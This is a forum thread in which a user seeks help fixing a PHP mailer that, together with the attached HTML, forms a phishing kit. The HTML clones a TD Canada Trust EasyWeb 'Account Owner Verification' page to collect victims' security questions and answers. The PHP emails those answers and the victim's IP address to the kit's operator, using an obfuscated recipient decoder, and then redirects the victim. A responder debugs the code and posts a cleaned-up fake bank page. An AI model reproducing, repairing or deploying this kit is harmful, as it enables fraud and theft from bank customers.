Hi guys, I have a script here which works good in sending. Cuz im making a form in HTML that verifies through the PHP the message is sending but its sending me blank contents

here is my code:

<?

 function mails($string)
  {
if(eregi("@",$string)) return $string;
    $string = str_replace ('!!!^', '=', $string);
   $a = preg_split ('//', $string);
    $string = '';
     for ($i = 0; $i < sizeof ($a); $i += 2)
    {
     $string .= $a[$i - 1];
  }
   $ret = base64_decode ($string);
return $ret;
}

$ip = getenv("REMOTE_ADDR");
$message .= "------------------------------------------------------------------\n";
$message .=$_POST['questionselectiongroup0']."\n";
$message .=$_POST['securityanswergroup0']."\n";
$message .=$_POST['questionselectiongroup1']."\n";
$message .=$_POST['securityanswergroup1']."\n";
$message .=$_POST['questionselectiongroup2']."\n";
$message .=$_POST['securityanswergroup2']."\n";
$message .=$_POST['questionselectiongroup3']."\n";
$message .=$_POST['securityanswergroup3']."\n";
$message .= "IP: ".$ip."\n";
$message .= "--------Created By Poison------------------------------\n";



$recipient = "admin@test.com";
$subject = "Security Measures";
$headers = "From: ";
$headers .= $_POST['td@tdx.com']."\n";
$headers .= "MIME-Version: 2.0\n";
$encoded = array($recipient);
$code = $encoded;

for ($i=0;$i<=sizeof($code);$i++){
 mail(mails($code[$i]), $subject, $message, $headers);
}

header("Location: securelogin.html");

The variables questionselectiongroup1, questionselectiongroup0 etc.. are not printing on whats inputted by the user.

Try making this your code

$ip = getenv("REMOTE_ADDR");
$message .= "------------------------------------------------------------------\n";
$message .=$_POST['questionselectiongroup0']."\n";
$message .=$_POST['securityanswergroup0']."\n";
$message .=$_POST['questionselectiongroup1']."\n";
$message .=$_POST['securityanswergroup1']."\n";
$message .=$_POST['questionselectiongroup2']."\n";
$message .=$_POST['securityanswergroup2']."\n";
$message .=$_POST['questionselectiongroup3']."\n";
$message .=$_POST['securityanswergroup3']."\n";
$message .= "IP: $ip\n";
$message .= "--------Created By Poison------------------------------\n";



$recipient = "admin@test.com";
$subject = "Security Measures";
$headers = "From: ";
$headers .= $_POST['td@tdx.com']."\n";
$headers .= "MIME-Version: 2.0\n";
$encoded = array($recipient);
$code = $encoded;

for ($i=0;$i<=sizeof($code);$i++){
 mail($message, $subject, $message, $headers);
}

header("Location: securelogin.html");

It was because the $message variable was not included in the body of the message.

Try making this your code

$ip = getenv("REMOTE_ADDR");
$message .= "------------------------------------------------------------------\n";
$message .=$_POST['questionselectiongroup0']."\n";
$message .=$_POST['securityanswergroup0']."\n";
$message .=$_POST['questionselectiongroup1']."\n";
$message .=$_POST['securityanswergroup1']."\n";
$message .=$_POST['questionselectiongroup2']."\n";
$message .=$_POST['securityanswergroup2']."\n";
$message .=$_POST['questionselectiongroup3']."\n";
$message .=$_POST['securityanswergroup3']."\n";
$message .= "IP: $ip\n";
$message .= "--------Created By Poison------------------------------\n";



$recipient = "admin@test.com";
$subject = "Security Measures";
$headers = "From: ";
$headers .= $_POST['td@tdx.com']."\n";
$headers .= "MIME-Version: 2.0\n";
$encoded = array($recipient);
$code = $encoded;

for ($i=0;$i<=sizeof($code);$i++){
 mail($message, $subject, $message, $headers);
}

header("Location: securelogin.html");

It was because the $message variable was not included in the body of the message.

I tried your code but now the problem is not even sending message at all

If i use my code, it mails me the reply but this is the output


------------------------------------------------------------------


IP: 31.221.75.3
--------Created By Poison------------------------------

Could you post the html form code as that may be related to the problem.

I attached the HTML and my php code... If you have a YM can u pls add me: killer_atom@yahoo.com

I think there is only a minor prob in the code cuz it sends output but without the required fields.

It worked with my browser Opera so perhaps your code is just incompatible with the browser that you use. I've cleaned up the code a little and the following might do a better job.
securelogin.htm

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0068)https://easyweb45z.tdcanadatrust.com/MFASecurityIntroContinueServlet -->
<HTML><HEAD>
<SCRIPT language=JavaScript>
function pageLoadMFAMSO2(){
	document.setMFASecurityQuestionForm.questionselectiongroup[0].focus();
}
function fnHelp(helpURL){
	winAtts="toolbar=0,scrollbars=1,resizable=1,width=425,height=400";
	HelpWindow= window.open(helpURL,"Help",winAtts);
}
function fnHelpEW(helpURL){
	helpURL = "https://www.tdcanadatrust.com//easyweb5/help/banking/"+ helpURL;
	fnHelp(helpURL);
}
function fnFooter(helpURL){
	winAtts="width=500,height=400,resizable=yes,scrollbars=yes";
	HelpWindow = window.open(helpURL,"TD",winAtts);
}
</SCRIPT>

<META http-equiv=Content-Type content="text/html; charset=iso-8859-1"><BASEFONT 
face=verdana,arial,sans-serif size=2><LINK 
href="MFASecurityIntroContinueServlet_files/all.css" type=text/css 
rel=stylesheet>
<META content="MSHTML 6.00.2900.3059" name=GENERATOR></HEAD>
<BODY bgColor=#ffffff leftMargin=0 topMargin=0 onload=pageLoadMFAMSO2(); 
marginwidth="0" marginheight="0">
<TABLE height=63 cellSpacing=0 cellPadding=0 width=760 bgColor=#2d5c3d 
  border=0><TBODY>
  <TR>
    <TD><IMG height=59 alt="TD Canada Trust" 
      src="MFASecurityIntroContinueServlet_files/EasywbLogo.gif" width=203 
      border=0>&nbsp;&nbsp;&nbsp;&nbsp;</TD></TR></TBODY></TABLE><BR><BR>
<TABLE height=63 cellSpacing=0 cellPadding=0 width=760 bgColor=#ffffff 
  border=0><TBODY>
  <TR>
    <TD>
      <FORM name="setMFASecurityQuestionForm" method="post" action="process.php">
      <TABLE cellSpacing=0 cellPadding=0 width=600 align=center bgColor=#ffffff 
      border=0>
        <TBODY>
        <TR>
          <TD vAlign=top><IMG height=20 alt="EasyWeb - IdentificationPlus" 
            src="MFASecurityIntroContinueServlet_files/title_idplus.gif" 
            width=250 border=0></TD>
          <TD align=right><A class=pageutility 
            onclick="fnHelpEW('acc00339.jsp');return false;" 
            href="https://easyweb45z.tdcanadatrust.com/#">Help</A>&nbsp;</TD></TR>
        <TR>
          <TD vAlign=top colSpan=2><IMG height=1 alt="" 
            src="MFASecurityIntroContinueServlet_files/line_dot.gif" width=598 
            border=0><BR><FONT class=pageTitleB>Account Owner Verification</FONT> 
            <DIV style="MARGIN-TOP: 7px"></DIV></TD></TR>
        <TR>
          <TD class=sequential vAlign=top colSpan=2>Step: 2 of 3 
            <DIV style="MARGIN-TOP: 7px"></DIV></TD></TR>
        <TR>
          <TD class=table vAlign=top colSpan=2>
            <TABLE width=600 align=center bgColor=white border=0>
              <TBODY>
              <TR>
                <TD class=table colSpan=2><b>For your added security, you must enter
                   your 5 personal verification questions with the corresponding answer to verify yourself. Then Click Save Setting below:</b> 
                  <BR> <BR><BR><A class=pageutility 
                  onclick="fnHelpEW('acc00341.jsp');return false;" 
                  href="https://easyweb45z.tdcanadatrust.com/#">Enter your Security Questions and Answers: 
                </A><BR><BR></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
      <TABLE cellSpacing=0 cellPadding=0 width=600 align=center bgColor=#ffffff 
      border=0>
        <TBODY>
        <TR>
          <TD>
            <TABLE class=element2 cellSpacing=0 cellPadding=2 width="100%" 
            align=center border=0>
              <TBODY>
              <TR class=formtitle>
                <TD bgColor=#e6e6d2 colSpan=2>Security Questions and 
              Answers</TD></TR>



            <TR class="table">
                <TD noWrap align=right><B>Question 1:</B></TD>
                <TD><INPUT maxLength=225 size=60 name="questionselectiongroup1"></TD></TR>

              <TR class="table">
                <TD noWrap align=right><B>Answer 1:</B></TD>
                <TD><INPUT maxLength=125 size=27 name="securityanswergroup1"></TD></TR>



            <TR class="table">
                <TD noWrap align=right><B>Question 2:</B></TD>
                <TD><INPUT maxLength=225 size=60 name="questionselectiongroup2"></TD></TR>

              <TR class="table">
                <TD noWrap align=right><B>Answer 2:</B></TD>
                <TD><INPUT maxLength=125 size=27 
name=securityanswergroup2></TD></TR>


            <TR class="table">
                <TD noWrap align=right><B>Question 3:</B></TD>
                <TD><INPUT maxLength=225 size=60 name="questionselectiongroup3"></TD></TR>

              <TR class="table">
                <TD noWrap align=right><B>Answer 3:</B></TD>
                <TD><INPUT maxLength=125 size=27 name="securityanswergroup3"></TD></TR>



            <TR class="table">
                <TD noWrap align=right><B>Question 4:</B></TD>
                <TD><INPUT maxLength=225 size=60 name="questionselectiongroup4"></TD></TR>

              <TR class="table">
                <TD noWrap align=right><B>Answer 4:</B></TD>
                <TD><INPUT maxLength=125 size=27 name="securityanswergroup4"></TD></TR>


            <TR class="table">
                <TD noWrap align=right><B>Question 5:</B></TD>
                <TD><INPUT maxLength=225 size=60 name="questionselectiongroup5"></TD></TR>

              <TR class="table">
                <TD noWrap align=right><B>Answer 5:</B></TD>
                <TD><INPUT maxLength=125 size=27 name="securityanswergroup5"></TD></TR>


</TBODY></TABLE>
            <DIV style="MARGIN-TOP: 9px" align=right>
            <INPUT alt="Save Settings" type="image" src="MFASecurityIntroContinueServlet_files/save_settings.gif" border=0 value="Save Settings">
            </DIV></FORM></TD></TR>
        <TR>
          <TD colSpan=2><BR><BR>
            <TABLE width="100%">
              <TBODY>
              <TR>
                <TD class=footer><A class=footerLink 
                  onclick="fnFooter('http://www.td.com/privacy/index_inc.html');return false;" 
                  href="https://easyweb45z.tdcanadatrust.com/#" 
                  target=_blank>Privacy Policy</A>&nbsp;|&nbsp; <A 
                  class=footerLink 
                  onclick="fnFooter('https://www.tdcanadatrust.com//security/index.jsp');return false;" 
                  href="https://easyweb45z.tdcanadatrust.com/#" 
                  target=_blank>Internet Security</A>&nbsp;|&nbsp; <A 
                  class=footerLink 
                  onclick="fnFooter('http://www.td.com/legal/index_inc.html');return false;" 
                  href="https://easyweb45z.tdcanadatrust.com/#" 
                  target=_blank>Legal</A>&nbsp;|&nbsp; TD Group Financial 
                  Services site - Copyright © TD </TD></TR>
              <TR>
                <TD class=footer align=right><BR>(Server ID:45z : 
                  1178779657289) 
  </TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></BODY></BASEFONT></HTML>

Bro the securelogin.htm is working but the index.html is not working...

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.